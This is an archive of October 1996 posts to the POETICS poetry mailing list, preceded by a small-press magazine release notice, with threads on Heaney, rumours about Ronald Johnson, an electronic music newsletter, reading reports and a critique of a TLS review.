>Subject: AWOL: New magazine releases
>
>New Magazine Releases
>
>It can be difficult keeping up with the latest issue of your favourite
>magazine. Now you can order them through AWOL. Decide which magazines you
>wish to order and and then email us with your order. We will invoice you by
>email, fax or snail mail mail your payment and we'll mail you yourmagazines
>(we hope to allow credit card ordering soon).
>
>
>
>Tinfish 3
>
>Tinfish 3 is now available through AWOL distribution. Tinfish is a journal
>of experimental
>poetry with an emphasis on work from the Pacific region. Issue 3 contains
>work by
>Contributors: Nathan Kageyama, red flea, Malia Pangilinan, Kapulani, Susan
>M. Schultz, Rob
>Wilson, John Kinsella, Carolyn Lei-lanilau, Adam Aitken, Tony Quagliano,
>Pam Brown, Liz
>Waldner, Janet Bowdan, Range poets, Graham Foust, Connie Deanovic, Faye
>Kicknosway,
>MTC Cronin, John Olson, Che Quian-zi, Joe Balaz, Mark Peters, Stephanie
>Strickland,
>Duoduo, Bret Bajema, Ron Silliman and Mark Wallace.

>
>RRP $5.00 (ISSN 1087-2132)
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>
>Antithesis Vol 8. No 1
>
>Antithesis is a postgraduate journal of interdisciplinary studies. Articles
>in in this issue include
>'Inoculating the Internet: Memetic Metaphors & the Computer-mediated
>Community' by Sean
>Smith, 'Wilde at Heart: Disease & the Wildean Body' by Benjamin Flood, 'Located
>Cosmopolitans: Grounding the Rhetoric of Autonomy' by Tania Lewis, 'The
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>
Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Ph. (02) 93517710
Mobile 015063970
Fax (02) 93517711

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203. Ron Silliman
The Weight
Thu 10 Oct 1996

Nada Gordon,

How's Japan??

When I compared reading to weightlifting it was with the presumption that weightlifting is one of the most sublime pleasures one can have in this world. Try it. You'll see. There is hardly anything that can compare to the afterburn of a good leg press.

Ron Silliman

↑ Index

204. Douglas Barbour
Re: POETICS Digest - 7 Oct 1996 to 8 Oct 1996
Thu 10 Oct 1996

Not sure what thread I'm getting into here, but as someone who has always had some trouble understanding why heaney was taken so seriously, who found his work unatisfying on various levels although I understood somewhat why he was taken up as he was, I do want to pass on a small story that partly ties in to Tony Green's talk about various 'englishes.' A colleague in Post-Colonial studies also plays in a small group that does mostly Irish (Celtic) folk music around Edmonton in various bars where the irish in town gather. Heaney's brother lives here so he visits upon occasion. The last time he was here, the announcer told the audience he was in the place & everyone gave him a standing ovation, after he was introduced as a poet who spoke for them all. So: Eavan Boland probably has many valid points against such rhetoric as his, but.... Further unto this, my friend said that the Irish woman in the group, who is not an "English" type, bu which he meant she did not study literature, was trying to explain to him the

various 'codes' operative whenever a catholic & protestant met, finally threw up her hands & said, "I cant explain, but listen," picked a copy of heaney's poems out of her backpack, & read him a poem in which heaney explored exactly that problem. His point, as he knows I'm not a fan, was that for his community, heaney does have something important to say. I cannot disagree, even if I still find most of the poetry only 'interesting,' not exciting to me. The first of these could justbe a reaction to 'fame,' but the second suggests that in fact heaney does speak to & for a particular community.

This ongoing discussion has been fun to follow.

Meanwhile, I too welcome Peter back, even though he was gone before I joined. It's been a long time since we talked Peter, but I'm glad we still might be able to the next time I'm in Vancouver...

All the best

Doug

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX: [redacted]
H: [redacted]

'The universe opens. I close.
And open, just to surprise you.'
- Phyllis Webb

↑ Index

205. **maria damon**
Re: The Weight
Thu 10 Oct 1996

In message <[redacted]> UB Poetics discussion
group writes:
> Nada Gordon,
>
> How's Japan??
>
> When I compared reading to weightlifting it was with the presumption
> that weightlifting is one of the most sublime pleasures one can have in
> this world. Try it. You'll see. There is hardly anything that can
> compare to the afterburn of a good leg press.

>
> Ron Silliman

dear ron, how's pennsylvania? when i compared reading to good conversation it was with the presumption that good conversation is one of the most sublime pleasures one can have in this world. try it. you'll see. there is hardly anything that can compare to the afterglow of a good yak w/ a pal. maria damon

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206. Judy Roitman
Ron Johnson
Thu 10 Oct 1996

A friend asked me to ask about Ron Johnson -- he heard that Johnson died but knows little more.

If you know any more, please respond to me backchannel; I'm going out of town and will be off the listserve.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

207. Rachel Loden
Re: weightlifting
Thu 10 Oct 1996

Nada Gordon writes:

> *And speaking of lust -- I know the battery fell out of the dildo thread long ago, but I found this bit in Philip Whalen's On Bear's Head last night. NB this is not a hoax, look it up for yourselves, p. 376:*
>
> *"IN MY LIVINGROOM!*
> *Sitting there imagining "Divine Bodies" in My Livingroom!*
> *Maybe you think I didn't tell him! Without a stitch on, & that*
> *Electric Vibrator of mine that the DOCTOR told me to use for my*
> *Neck and Shoulder! Maybe you think I wasn't nearly floored! I*
> *want to tell you . . ."*

Well, Nada, since we're sharing distressful experiences, I was on an innocent jaunt to

http://writing.upenn.edu/epc/authors/silliman/demo.html

when I stumbled on the L-po dildo, to wit:

My thumb instead of a dildo: serbo-martian exile pens essay in plain style.

Dear Loss: is there to be no sanctuary even at the EPC?

Rachel Loden

↑ Index

208. **Pritchett,Pat**
Re: That's Blaxdhhhhhhxqtploitation!
Thu 10 Oct 1996

ABR is going through a "transition" right now owing to Romayne Rubinas' vacating the job she held for so long (and did so well, in my opinion). The new editor is Paula Goodnight and when I talked to her a month ago she sounded as though she'd been thrown to the lions. Too bad about your piece. Things should settle down soon (I hope).

Patrick Pritchett

From: Carnography
To: Multiple recipients of list POETICS
Subject: That's Blaxdhhhhhhxqtploitation!
Date: Wednesday, October 09, 1996 3:23PM

Re the erudite eds at American Book Review:

I don't know what's happening to the OCR software in Normal, Illinois, but my short-short review of Darius James's _That's Blaxploitation!_ got obscured by a stonehenge of em-dashes, double parentheses, bulgingly balanced sentences and improvisatory spellings. Though ABR's proofreaders are usually fastidious, I somehow got translated into what can only be described as Prig Latin: I read like some harumphing disembrained polyglot in a tome by Oliver Sachs! Indeterminists, take note: a good time can be read by (Aåhhhll<)>. To all others, I say: Buy Darius James's book and the rest will make sense.

BTW: In the same issue of ABR, there is another review that I must recommend: "Legend and Language," Marjorie Perloff's illuminating look at the neglected (but resurrected) Mina Loy. And guest-editor Larry McCaffery is his usual selfless self, breathlessly promoting neglected writers like an Ezra Pound on meth. (McCaffery's an angel; I just wish there were more like him.)

Anyhow, back to work on an album with the Scottish band, Truth. I just laid out my own book, _Distorture_, for Black Ice Books, due in March, 1997: a labor for

the anal, it's true, but I'm thrilled that the publishers gave me that kind of artistic control. Respect for authorial aesthetics? Nothing normal about that.

All the best,

Rob Hardin

http://www.interport.net/~scrypt

↑ Index

209. **Wendy Battin**
Re: POETICS Digest - 7 Oct 1996 to 8 Oct 1996
Thu 10 Oct 1996

On Thu, 10 Oct 1996, Douglas Barbour wrote:
> Irish woman in the group, who is not an "English" type, bu which he meant
> she did not study literature, was trying to explain to him the various
> 'codes' operative whenever a catholic & protestant met, finally threw up
> her hands & said, "I cant explain, but listen," picked a copy of heaney's
> poems out of her backpack, & read him a poem in which heaney explored

Doug,
Do you happen to know which poem? (Sure there are many, but am
curious to know which she chose.)

Wendy

Wendy Battin [redacted]
(home) http://camel.conncoll.edu/ccother/wjbat/
(CAPA) http://shain.lib.conncoll.edu/CAPA/capa.html

↑ Index

210. **Gary Roberts**
watteau
Thu 10 Oct 1996

Tony,

One of the things that you all could consider in Watteau's paintings is the role of costumes, ceremony, and interaction rituals. To use a crit theory buzz word, his painting are very much about the "performative" aspects of self-presentation. Trying as a group to derive a rhetoric and vocabulary of gestures and signs in his paintings seems like a useful exercise, as long as you don't have a predetermined list that you are trying to get the group to guess. How are emotional states, for example, alluded to or signified by the surface features of the

human figures and their settings/backgrounds? How outlandish are they from your perspectives? Is racial whiteness a staged property/a stage prop in his work? It seems that the familiar conflation of make-up (for clowns and women, say) and oil paint for pictures is also at play here. How could non-European readers of Watteau's paitings (or even the something like the photos of Cindy Sherman) relate to or criticize the cultural work of masking and unmasking?

As for writing, it seems to me that you might need to determine if you and the rest of the group accept any analogies between the kind of dynamic social self-presentation in the images and self-presentation in writing framed by institutional settings.

Gary R.

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211. Pierre Joris
[Fwd: Electronic Music Foundation Update]
Thu 10 Oct 1996

This is a multi-part message in MIME format.

More news from the electronic music foundation, for those on the list innerested in new & experimental musics -- Pierre

Date: Thu, 10 Oct 1996 10:24:27 -0500
To: [redacted]
From: [redacted] (Electronic Music Foundation)
Subject: Electronic Music Foundation Update

ELECTRONIC MUSIC FOUNDATION
========== October 10, 1996
ACCESS TO MATERIALS

This update contains summary information about EMF's website and tells you how you can receive detailed information by email if you prefer.

We are sending this update to you either because you're already on our list or because we believe you'll be interested in this information. These updates will be sent approximately every month. If you would rather not receive future updates, simply let us know.

If this has been forwarded to you by someone else and you would like to receive these notices directly, just send an email message to [redacted] and say something like "Put me on your list" and we'll put you on our list.

Contents:

1. CDeMUSIC is growing fast
2. The rest of the website
3. Looking for classroom materials?
4. Receiving information by email
5. Partner and sponsor news
6. A few editorial words about our email communications
7. Last call for Charter Subscribers

==========

1. CDeMUSIC is growing fast

CDeMUSIC is fast becoming a worldwide comprehensive and coherent source for compact discs of non-commercial, experimental, and electronic music. Our web site lists CDs by composer's name as well as in curated catalogs and selected organization and company catalogs.

We're now in process of creating a composer's page for every composer, with links from an alphabetical list. These pages will eventually include all materials related to that composer's available work. We're starting with Charter Subscribers and important pioneers in the field (often the same people). To get an idea of where this is going, click on David Tudor or Alvin Lucier at

http://www.emf.org/cde_gencat.html

The curated catalogs currently are 'Pioneers of Electronic Music', 'John Cage and the New York School', 'A Few Stitches from The Knitting Factory', 'Microtonality', and 'Words and Music'. And several additional catalogs are in progress. The selected company and organization catalogs currently include the EMF label, the CDCM computer music series, Wergo's Computer Music Currents series, the INA/GRM label (Groupe de Recherches Musicales), North/South Recordings, SEAMUS, and Stockhausen Verlag. This list also will grow dramatically during the next month. The catalogs can be browsed at

http://www.emf.org/cde_catalogs.html

Further, a group of 'spotlight' CDs, which will change every ten days or so, will focus on particular composers and catalogs. The current spotlight is on the pioneers and includes 'The Historical CD of Digital Sound Synthesis', Laurie Spiegel's 'Unseen Worlds', and David Tudor's 'Neural Networks'. Take a look at

http://www.emf.org/cde_frontdoor.html

We project growth not only in numbers of CDs, but also in the scope of the collection. In the next month or so, expect to see increasing numbers of CDs of improvised music and the acoustic avant garde.

==========

2. The rest of the website

The EMF Worldwide Calendar is updated on a weekly basis and now includes special features and notices (from IRCAM, CNMAT, The British Harry Partch Society, to name a few) as well as events listings. Have a look at

http://www.emf.org/cal_frontdoor.html

Note the pictorial features on David Tudor's and Sophia Ogielska's 'Toneburst' at Wesleyan University, 'Lucier @ 65' (concert coming up in New York), the 1996 ICMC in Hong Kong in August, and Tod Machover's 'Brain Opera' as seen in New York in July.

Current offerings in The EMF Store include Iannis Xenakis' 'Formalized Music', Reynold Weidenaar's 'Magic Music From the Telharmonium', Trevor Wishart's 'Audible Design', and Luigi Russolo's 'The Art of Noises'. Take a look at

http://www.emf.org/store_frontdoor.html

We're also offering 'M', Intelligent Music's interactive composing program, written by David Zicarelli in 1986. This is a historically important program that everyone should experience. It takes an hour or two to learn and it contains a wealth of musical wisdom. The main screen is shown at

http://www.emf.org/store_m.html

If you're interested in the web, keep checking 'Sites, Sights, and Sounds' for continuing updates on exceptionally interesting places to visit, a list of internet electronic music resources, and an electronic music internet directory which is fast becoming comprehensive.

==========

3. Looking for classroom materials?

Note that there exists a videotape called 'Mastering the Theremin' in which Lydia Kavina, virtuoso and Leon Theremin's cousin, shows how the theremin is played. Read the description at

http://www.emf.org/store_videotheremin.html

and you'll note that the format of the videotape is a series of lessons moderated by Robert Moog.

This is not, however, only for those who want to learn how to play the theremin. This is for any and all teachers lecturing in electronic music. It shows students how this remarkable instrument is played. And btw, don't forget to listen to the classic compact disc of Clara Rockmore playing the theremin in concert. It leads the listing in the pioneers catalog at

http://www.emf.org/cdcat_pioneers.html

==========

4. Receiving information by email

If you don't have easy access to the web and you'd like to receive any catalogs, product notices, or other information as email, just send an email message to [redacted] and tell us what you'd like. We'll do our best to comply.

==========

5. Partner and sponsor news

Robert Moog, who normally presides at Big Briar, Inc. where he designs theremins according to Leon Theremin's principles, will be speaking at the Theremin Center in Moscow on October 14 and 15, and then making presentations on October 17, 18 and 19 at Musikmassen, an electronic music festival in Goteborg, Sweden.

Carla Scaletti and Kurt Hebel, inventors of the Kyma System at Symbolic Sound, will be demonstrating the latest Kyma upgrades in booth 1406 at the AES show, November 8-11, in Los Angeles.

==========

6. A few editorial words about our email communications

Issues regarding the emailing of this information have occasionally been raised. And since we agree with those who hold that crowding cyberspace with ugly commerce is undesirable behavior, we'd like to clarify our position.

EMF's mission is the dissemination of information and materials about the history and current practice of electronic music. Dissemination of information means giving away information. Dissemination of materials means selling materials. We do both. Our sales, however, are of noncommercial items not easily found elsewhere. Our sales are not to be confused with a large-scale commercially motivated operation and our email notices should not be comfused with a commercial junk-mail infringement of Internet ethics.

We enlarge our email list partly by requests directly from individuals who want to receive it, partly by recommendations from others. So if you're surprised to receive this mailing, well, check it out and simply decide if you'd like to continue to receive mailings. If not, just let us know.

==========

7. Last call for Charter Subscribers

A Charter Subscriber is someone who has chipped in during our first two years of existence to help us establish our operations. In exchange for their support, we offer lifelong professional and consumer benefits, including preferential access to all of our programs. Note our distinguished list of current Charter Subscribers at

http://www.emf.org/emf_csubs.html

Note also that our startup period will end this month. If you're interested in becoming a Charter Subscriber, please act fast. If you're interested in knowing more, look at

http://www.emf.org/emf_invitation.html

or ask us about it by email.

==========
CDeMUSIC is a trademark of Electronic Music Foundation, Inc.

==========
Electronic Music Foundation
116 N. Lake Ave.
Albany, NY 12206
USA

http://www.emf.org

[redacted] voice
[redacted] fax
[redacted]

----------284051C549E6--

↑ Index

212. **Pierre Joris**
Re: Ron Johnson
Thu 10 Oct 1996

Judy,

The same rumor came my way in a letter from ken irby a few weeks back -- but have not been able to confirm (or definitely deny) the rumor, not even via our numero uno obit-man, the owner of this here list. meanwhile I will go on believing that news of RJ's death has been much exagerated. -- Pierr

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213. **Bill Luoma**
chat net
Thu 10 Oct 1996

jordan, dodie, i don't know what i want from this list. perhaps part of the dull problem is that we have high expectations. & also it's as difficult to say anything interesting about poetry as it is to write a good poem. also we are afraid

of saying anything interesting because so many people are listening so we take the form of poetics to be marketing press release. & it's not just here. i've been thinking that all poetics is just marketing. it's not necessarily wrong or possible to escape from this, but it's often dull if not acknowledged & tweeked. i thought kevin's invite to his play was fabulous. i guess i like the announcements the best because they're not subtle.

also evident of high expectations are what we call the back channel. i've never liked the meaning commonly associated with this phrase because i think this is the back channel here. i mean what we call the back channel is the real channel.

Bill

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214. Ward Tietz
Re: The Weight
Thu 10 Oct 1996

I've written a few heavy words in my time. The heaviest so far is the word "FOLKS" which was made out of bricks as part of a piece for the Convergence II festival in Providence, RI in 1989. It weighed 5 tons. After the festival someone in the parks department made a patio out of it.

I usually write words in the 100 to 200 pound range. They're far more commonplace, but they're easier to lift.

Ward Tietz

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215. Stephen Cope
Re: Ron Johnson
Thu 10 Oct 1996

Judy Roitman asks:

A friend asked me to ask about Ron Johnson -- he heard that Johnson died but knows little more.

If you know any more, please respond to me backchannel; I'm going out of town and will be off the listserve.

***

If anyone knows more please post to the list as well. I'd like to know more about this, as Johnson's a poet I've only very recently had occasion to read...

Thanks,

Stephen Cope

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216. George Bowering
Re: (Sort of) end of silence
Thu 10 Oct 1996

> *Why, thanks, George.*
> *The meaning of Life is the same as the meaning of Time.*
> *Didn't you know?*
> *Peter*

I knew! I did know!

I just forgot, just forgot!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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217. Joel Felix
Re: Ron Johnson
Thu 10 Oct 1996

Dear List--uh, Peter O'Leary has recieved a letter from the (kicking) Ron Johnson w/in the last week...so unless one of the fabled plains lightning balls has taken him in the last few days i think it's safe to assume he's alive. More interesting is how this rumor may have started, maybe owing to his dropping out of the SF area to Topeka, Kansas. Ron would love to hear what anyone w/in earshot of this list may have to say abt the complete ARK on Living Batch press. His address: Ron Johnson 3901 Drury Lane Topeka, KA 60604

Joel Felix

Stephen Cope wrote:
>If anyone knows more please post to the list as well.

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218. Pritchett,Pat
Re: Ron Johnson
Thu 10 Oct 1996

Thanks for the info Joel. That's very good news. I love the new (&complete) ARK and will drop RJ a note when I've finished it to say so. (But really now, Drury Lane? Is this Book of the Green Man Redux or what?)

Patrick Pritchett

From: Joel Felix
To: Multiple recipients of list POETICS
Subject: Re: Ron Johnson
Date: Thursday, October 10, 1996 4:13PM

Dear List--uh, Peter O'Leary has recieved a letter from the (kicking) Ron Johnson w/in the last week...so unless one of the fabled plains lightning balls has taken him in the last few days i think it's safe to assume he's alive. More interesting is how this rumor may have started, maybe owing to his dropping out of the SF area to Topeka, Kansas. Ron would love to hear what anyone w/in earshot of this list may have to say abt the complete ARK on Living Batch press. His address: Ron Johnson 3901 Drury Lane Topeka, KA 60604

Joel Felix

Stephen Cope wrote:
>If anyone knows more please post to the list as well.

↑ Index

219. Brian McHale
Re: Ron Johnson
Thu 10 Oct 1996

Wait, wait. Now that we know Johnson is still with us, could someone please supply fuller data on publication of the Complete Ark. Address for Living Batch Press, please? E-mail, even? Brian

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220. Gwyn McVay
Re: Ron Johnson/rumors
Thu 10 Oct 1996

---

strange rumors about the mainstreamers too--we got a call at the office today asking us if Gjertrud Schnackenberg had died--is somebody trying to quash poetry by spreading disinformation?

Gwyn

↑ Index

221. **Tony Green**
Re: watteau
Thu 10 Oct 1996

Gary Roberts, thanks for your v interesting comments on possible places for interaction in the paintings and then in the writing and also I suppose in the role playing in the classroom. best

Tony Green,
e-mail: [redacted]

↑ Index

222. **Marisa Januzzi**
Re: Ron Johnson/Dora Marsden
Thu 10 Oct 1996

Hello list

Two fast notes in total haste (my whole life is total haste these days!) to say --- THANK YOU for resurrecting Ron Johnson; been meaning to send fan mail myself and thought, for a minute there, I'd lost my chance.

ARK and Living Batch books (including his Southwest Cooking book) are distributed through Univ. of New Mexico Press-- I think it was Charles Alexander who sent this post via the list to me, when I was trying to get a hold of ARK. Any good local bookstore, in other words, shld be able to get it for you. Heck I even shamed the local B&N into carrying it & placing a copy in the window. Backchannel me for good sources of o.p. Johnson stuff.

As for Marsden, I'm surprised no one's trotted out my favorite anecdote about her-- how she waited all night on the roof of Parliament, for the right moment to call down through the circular opening in the dome and heckle (I think) Winston Churchill about suffrage: "What about the women, Mr. Churchill?" They were all over her like the bomb squad on luggage.

It's in the biography.

ciao-- Marisa

> *Wait, wait. Now that we know Johnson is still with us, could someone please supply fuller data on publication of the Complete Ark. Address for Living Batch Press, please? E-mail, even?*
> *Brian*

↑ Index

223. **maria damon**
Jay and Kay deFeo
Thu 10 Oct 1996

Hey there, dbkk, are we going to get a report on Kevin's play?
breathless,
maria d

↑ Index

224. **Rachel Loden**
assorted indignities
Thu 10 Oct 1996

Rob Hardin wrote (in part):
>
> Re the erudite eds at American Book Review:
>
> I don't know what's happening to the OCR software in
> Normal, Illinois, but my short-short review of Darius James's
> _That's Blaxploitation!_ got obscured by a stonehenge
> of em-dashes, double parentheses, bulgingly balanced sentences
> and improvisatory spellings...

Recently received ten contrib copies (now buried in the back yard) of a mag that shall remain nameless. A prose piece was printed *as a poem*, complete with twenty gut-wrenchingly bad line breaks and various spelling riffs. Just sign me--

Rachel, prisoner of poesy

↑ Index

225. **Stephen Cope**
Re: Ron Johnson
Fri 11 Oct 1996

As regards Johnson: I believe it was Chicago Review that recently did an issue dedicated to him. I haven't seen it myself, but am of mind that it had essays as well as selections etc. Anyone know more about it?

Thanks,

Stephen Cope

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226. Jordan Davis
Bouchard 8, Mills 9
Fri 11 Oct 1996

Bouchard 8, Mills 9 at Poetry City

Time: B (27 mins), M (40 mins)
Attendance: 20

Opening day at Poetry City, the Mayor threw out the first ball, "MASS AVE" editor Bouchard was in good form, loose, built up with six shorter pieces to his longer work "August." Early line drives--"Make way for the language," "If you'd like to make a speech, press pound now," "for lack of what is Pound there," "ampersand ampersand ampersand." A rally in the third as Bouchard riffed on the last line of the Maximus Poems, "My wife my car my color my credit rating..." Titles of poems: "A Pavement Ontology," "Hesiod's Notebook," "Ben's Release," "Purple Finch," and "Washington Square." Bouchard was wearing tan bucks, a green-brown sweater, blue jeans and a watch. His poems are political, because as he put it, he could avoid political concerns as much as he could avoid the fact that it's snowing. Shaking off a cold and the ride in from Boston, Bouchard read eight poems coolly.

David Mills, a teacher in the T&W program, read nine poems, drawing significant guffaws from the mostly Subpoetics crowd with lines like "I'm gonna call Dick Gregory," "Our stepfather who art in Macon County," and "One must be at least an octoroon on this ride." In a zipped-up fleece jacket, black jeans, black shoes, Mills, whose subject matter ranged from the topical (Clarence Thomas, oral sex, cross-country car trips) to the almost purely rhythmic, Mills was a captivating eccentric stage presence. Titles included: "North Rim," "Great Adventure," "Back Space Talking," and "Strangers in Paradise."

A brief post-game wrap-up at Poetry City was followed by a brisk walk to the Cedar in the cold. Too crowded. Half the audience of the reading went to the Old Town, where if you want to get what they do, get the hamburger. The shepherd's pie isn't bad but...

(In attendance at the reading: Bill Luoma, Douglas Rothschild, Tim Davis, Judith Goldman, Steven Hall, Marcella Durand, Anna Van Lenten, Tim Griffin, Anselm Berrigan, and others.)

--Jordan Davis

↑ Index

227. Keith Tuma
Re: Ron Johnson
Fri 11 Oct 1996

Stephen:

Chicago Review 42.1 (1996) has short essays on Ronald Johnson by Creeley and Gunn, an interview with the un-dead by Peter O'Leary (co-editor of LUNG), ARK 66 (for EP), BEAM 1, RJ's "Hurrah for Euphony" (prose), and an intro floating the boat by Devin Johnston. Also some Bronk, Fanny Howe, etc.

$6 from Chicago Review 5801 S. Kenwood Ave. Chicago, IL 60637-1794 Subscriptions = $18 (good things coming down the line at CR I think)

--keith

↑ Index

228. Douglas Barbour
Re: POETICS Digest - 9 Oct 1996 to 10 Oct 1996
Fri 11 Oct 1996

> *Date: Thu, 10 Oct 1996 11:13:08 -0400*
> *From: Wendy Battin <[redacted]>*
> *Subject: Re: POETICS Digest - 7 Oct 1996 to 8 Oct 1996*
>
> *On Thu, 10 Oct 1996, Douglas Barbour wrote:*
> *Irish woman in the group, who is not an "English" type, bu which he meant*
> *she did not study literature, was trying to explain to him the various*
> *'codes' operative whenever a catholic & protestant met, finally threw up*
> *her hands & said, "I cant explain, but listen," picked a copy of heaney's*
> *poems out of her backpack, & read him a poem in which heaney explored*
>
> *Doug,*
> *Do you happen to know which poem? (Sure there are many, but am*
> *curious to know which she chose.)*
>
> *Wendy*
>
> *---*
> *Wendy Battin [redacted]*
> *(home) http://camel.conncoll.edu/ccother/wjbat/*
> *(CAPA) http://shain.lib.conncoll.edu/CAPA/capa.html*
> *---*

Sorry, I dont, but I will ask my friend if he recalls the title of the poem & get back to you. He was telling me this partly because he knew I wasnt a big fan of Heaney's. As a theoretical type, deeply into post-colonial work, he considers another Nobel winner the 'best' (? wrong work: he means, I think, most

interesting in terms of what he does) poet in english today: Derek Walcott. I had read only a few Walcott poems & not thought much one way or another, but a reading of the _Collected Poems_ did lead me to somewhat reise my opinion. There is much there, albeit within a tradition I am not all that interested in, that is fascinating. Sorry for getting off topic from your request. I will ask.

All the best

Doug

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX: [redacted]
H: [redacted]

'The universe opens. I close.
And open, just to surprise you.'
- Phyllis Webb

↑ Index

229. Douglas Barbour
Re: POETICS Digest - 9 Oct 1996 to 10 Oct 1996
Fri 11 Oct 1996

Boy it sure is good to hear that Ronald Johnson is alive & well, but even better to hear about a complete (is that it?) ARK. Ive been following him with delight since _The Green Man_, & especially _Radi Os_.

All the best

Doug

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX: [redacted]
H: [redacted]

'The universe opens. I close.
And open, just to surprise you.'
- Phyllis Webb

↑ Index

230. Tod Thilleman
Re: chat net
Fri 11 Oct 1996

bill I like the non-subtle advances made thru language too, and I think you've hit on the weighty core to what of course is the approaching structure life-philosophy. dig two books, one kind of older, onr kind of new: Daimon Life by David Krell who has a new novel out on the life of Neitzche. DL is study of Heidegger's Sein Und Zeit over against the what the poetics which (neat you'd like them drawings on the cover,) that unsubtle language you are singing about. New one: Anger, Madness, and the Daimonic: psychological Genesis of Violence, Evil, and creativity by Stephen Diamond. I mention these, and the incredible actuality and greatness of the commercial on television for the visa gold card, inserted between the bickering europeans at the cash machine...which ran during the olympics. I'm also digging the budweiser spin-off for WPLJ the croaking men as toady sign readers in the backyard swimming pool, and the new chevrolet jingle making its way over the air's waves

and digging tthe new addition to the epc biblio hannah weiner of the worded forehead, great wealth on her writing career I just downloaded and glad to have

↑ Index

231. Andrew D Epstein
Re: Ron Johnson
Fri 11 Oct 1996

On Fri, 11 Oct 1996, Stephen Cope wrote:

> As regards Johnson: I believe it was Chicago Review that recently
> did an issue dedicated to him. I haven't seen it myself, but am of
> mind that it had essays as well as selections etc. Anyone know
> more about it?
>
> Thanks,
>
> Stephen Cope
>
>
Chicago Review (Vol. 42, no 1) did just do an issue dedicated to Johnson. There is an interesting interview with Johnson by Peter O'Leary (who some of you may have met at Orono -- I did), an introduction to ARK by Devin Johnston, enthusiastic remarks on the work by Thom Gunn and Robert Creeley, two sections of ARK, and a prose piece ("Hurrah for Euphony") by Johnson.

Andrew Epstein

↑ Index

232. Carnography
Re: That's Blaxdhhhhhhxqtploitation!
Fri 11 Oct 1996

> *ABR is going through a "transition" right now owing to Romayne Rubinas' vacating the job she held for so long (and did so well, in my opinion). The new editor is Paula Goodnight and when I talked to her a month ago she sounded as though she'd been thrown to the lions. Too bad about your piece. Things should settle down soon (I hope).*
>
> *Patrick Pritchett*

Patrick:

I hope my missive didn't seem dismissive: ABR is great, and I wouldn't want to put it down in any way. I have only known the staff at ABR to be fastidious, and my James piece was really a kind of prolonged blurb for his work, which I feel is frequently overlooked. Had my piece been longer or more serious, I might have been genuinely upset; still, it is never a good idea to sound like a hydrop-cephaloid in an academic publication.

Sorry to hear about Romayne Rubinas's departure. I'm certain that Paula will do fine once she settles in (if she hasn't already).

Still, really didn't mean to complain about
ABR. I only wanted people to understand that I'm not
a careless or illiterate writer, which is what I appear
to be in my swift, pithed, and formerly pithy piece.

(Also: I'm never faxing *anything* to *any* publication ever again.)

All the best,

Rob Hardin

http://www.interport.net/~scrypt

↑ Index

233. alan sondheim
....liam dedrawroF (dwf)
Fri 11 Oct 1996

18.2

sgniht talf daed era slegna
gnipeels ma I nehw sdrow ym egnarraer ohw

ekawa ma I nehw sdrow ym egnarraer
meht esare sdrow ym etirw
niaga dna niaga
yas t'nac I tub wonk t'nod I
gnihtyna tuoba tsuj
enil eht kcolb yeht esuaceb slegna tuoba
taht os ti egnarraer trohs ti peek
reporp ro seman rieht evig t'nac _ti_
deggar snur _ti_ taht os sserdda
gnihton ot steg ti resolc eht

↑ Index

234. Steve Shoemaker
Re: noble
Fri 11 Oct 1996

Is "miragie" a mag? Can Bill or somebody give publication/subscription info?
steve

On Wed, 9 Oct 1996, Bill Luoma wrote:

> *someone should give Jack Hirschman the noble just for those letters to Djuna Barnes in the new miragie. thanks. and how is wayne smith doing?*
>
> *Bill*

Steve Shoemaker

↑ Index

235. Steve Evans
How To Not Read
Fri 11 Oct 1996

Robert Potts's review of Iain Sinclair's CONDUCTORS OF CHAOS (Picador) appeared in the Times Literary Supplement of 20 September 1996. I just got around to reading the review--which bears the lurid title "The blood-soaked perimeter"--this morning.

The single non-ideological claim that I can reconstruct from the full-page, four-column review is this: "There is a book."

This afternoon, when I should have been doing any number of other things, I found myself thinking of Potts's review. It struck me that such a pure example

of xenophobic reading doesn't come along everyday, and so I set about writing through the review, trying not to overlook any of its moves.

Since the review was in a manifest state of non-relation to anything like the objective fact of CONDUCTORS OF CHAOS I decided to go along with Potts (and Husserl) and just bracket the "thing-itself" entirely. That is, rather than address the numerous distortions at the level of empirical fact, I thought I would concentrate on what this person took to be "the case." To better watch the way his claims (implicit and explicit) worked, I tried to substitute abstract terms for as many of the particular elements as I could. (In cases where I couldn't bring myself to "abstract" I left the term in between brackets.)

The review is broken into two parts, each of which begins with an oversized drop-cap. There are eleven paragraphs in all, to which the numbered sections of my comments correspond.

-=-=-=-=-=-=-=-=-

HOW NOT TO READ

There is a book.

I.

1. There is a book. But the book does not know (or will not say) what kind of book it really is. The reviewer is in a position to clarify the matter. The book is an anthology.

There is a group. But the group does not know (or will not say) that it is a group. The reviewer, though not a member of any group himself, can tell a group when he sees one.

The group has brought upon itself its own marginality. The reviewer likes to say this while engaged in the application of all the techniques of marginalization known to him.

The editor's project in this book is not original. Having suppressed what is novel about the editor's project in an earlier sentence, the reviewer can now charge him with lack of originality. It does not help that the reviewer can think of one other project that also did not deny the existence of experimental writing.

The group is fearful, idiosyncratic, and sectarian. The reviewer is fearless, normal, disinterested. The group is shy, insular, distrustful. The reviewer is gregarious, open, without worry because without sin. The group has for a long time been complacent and self-absorbed. The reviewer's ethnographic gaze provides "a fresh and foreign" look at the group's essential truth.

2. The writers whom the editor has brought together in his book know that one another exist. The reviewer takes exception to such effrontery. Certain specific writers go so far as to respect other specific writers. The review knows this to be communism. Though united in their anti-capitalist practice of respect for one another and for writing, these writers apparently find it unnecessary to think that they are all writing the same thing. The reviewer is familiar with what passes for intelligence at [Cambridge].

3. The group that does not know itself to be a group is the [X] School. The reviewer will maintain this fact in the face of all evidence, subjective and objective.

